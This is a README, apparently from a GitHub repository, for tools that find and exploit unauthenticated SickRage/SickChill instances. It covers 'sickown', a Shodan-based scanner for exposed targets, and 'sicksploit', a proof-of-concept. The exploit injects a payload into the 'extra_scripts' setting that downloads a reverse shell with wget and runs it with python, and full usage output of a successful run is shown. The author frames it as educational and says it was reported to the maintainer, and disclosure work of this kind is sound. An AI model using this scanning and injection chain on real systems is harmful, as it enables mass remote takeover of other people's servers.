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Collection of tools/scripts to exploit Sick* instances (SickRage, SickChill and similar forks.) You can find a more detailed introduction to this collection of tools on my blog.


SickRage/Chill/Beard are tools to automate the download of TV-Series using torrent or Usenet. The programs offer similar functionalities and are all exploitable using the same technique. In this repositories there are several tools, 'sickown' is a script which uses Shodan API to track down possible vulnerable instances of Sick* which are publicly exposed on the Internet. Sickspolit is a POC tool that exploits a vulnerable instance.


Sickown uses a simple search query in Shodan to find open instances of Sick* and then attempts to also remove false positives from this list by querying the targets found. At the time of the writing, 1874 targets are found. You can use the -t flag to set the request timeout to use (default to 10s).

Example usage of SickOwn is:

$ python -h
usage: [-h] [-t TIMEOUT] API

Use to track down vulnerable instances of SickChill/Rage

positional arguments:
  API                   The API_KEY for Shodan

optional arguments:
  -h, --help            show this help message and exit
  -t TIMEOUT, --timeout TIMEOUT
                        The timeout to use for the HTTP requests to the
                        targets found


Sicksploit is a tool to provide a POC exploit for an open instance of Sickrage. The exploit is easy and relies on a vulnerable feature. This vulnerabilities has been reported on 15th December to the maintainer of SickChill (the fork on which all the tests have been performed). The exploit consisting in injecting a shell command in the 'extra_scripts' which are executed after post-processing downloaded files. Post-processing usually consists of renaming and moving downloaded episodes of TV-Series, and Sick* offers the possibility to execute a custom script after each post-process.

The way I use to exploit this feature is by injecting a Payload such as:

/usr/bin/wget -O /tmp/shell|/usr/bin/python /tmp/shell 4444

This will clearly download a simple reverse shell which I have also included in the repo and then execute it with IP:port to connect to as parameters.

Example usage:

$ python -h
usage: [-h] URL RHOST RPORT

Exploit open instances of Sick*

positional arguments:
URL         The URL of the sick* instance to exploit - host:port
RHOST       The IP where the exploited instance should connect to.
RPORT       The port where the exploited instance should connect to.

optional arguments:
-h, --help  show this help message and exit

python 4444
[+] Trying to get current values for some config items not to break post-processing.
[+] Parsing current Post Processing configuration.
[+] Successfully Parsed current configuration:
    naming_anime_multi_ep: 1
    naming_abd_pattern: %SN - %A.D - %EN
    delete_non_associated_files: on
    naming_sports_pattern: %SN - %A-D - %EN
    process_automatically: on
    mediabrowser_data: 0|0|0|0|0|0|0|0|0|0
    process_method: copy
    sony_ps3_data: 0|0|0|0|0|0|0|0|0|0
    tivo_data: 0|0|0|0|0|0|0|0|0|0
    alt_unrar_tool: unrar
    mede8er_data: 0|0|0|0|0|0|0|0|0|0
    file_timestamp_timezone: network
    naming_anime: None
    tv_download_dir: /home/user/process
    naming_anime_pattern: Season %0S/%SN - S%0SE%0E - %EN
    kodi_data: 0|0|0|0|0|0|0|0|0|0
    autopostprocessor_frequency: 10
    use_icacls: on
    rename_episodes: on
    unrar_tool: unrar
    unpack: 0
    naming_pattern: Season %0S/%SN - S%0SE%0E - %EN
    sync_files: !sync,lftp-pget-status,bts,!qb,!qB
    naming_multi_ep: 1
    postpone_if_sync_files: on
    allowed_extensions: nfo,srr,sfv,srt
    nfo_rename: on
    kodi_12plus_data: 0|0|0|0|0|0|0|0|0|0
    wdtv_data: 0|0|0|0|0|0|0|0|0|0
[+] Starting to exploit
[+] Injecting payload: /usr/bin/wget -O /tmp/shell|/usr/bin/python /tmp/shell 4444
[+] Exploit succeeded.
[+] Trigger a manual post-processing of /home/user/process to execute the injected payload.
[+] Manual post processing correctly scheduled. It might take a few minutes to actually get executed.

Tested on

The exploit works on several versions of SickRage and SickChill where no authentication is configured. The same exploit technique would work on any SickBeard version as well. However, I performed my tests on my own instance of SickChill Version: v2018.11.30-1 and SickRage Version: v2018.09.17-1.


No public instances have been exploited in the process, nor I advise to do so. I have made this for pure educational purposes and I decline every responsibility for an eventual misuse of (part of) this code.


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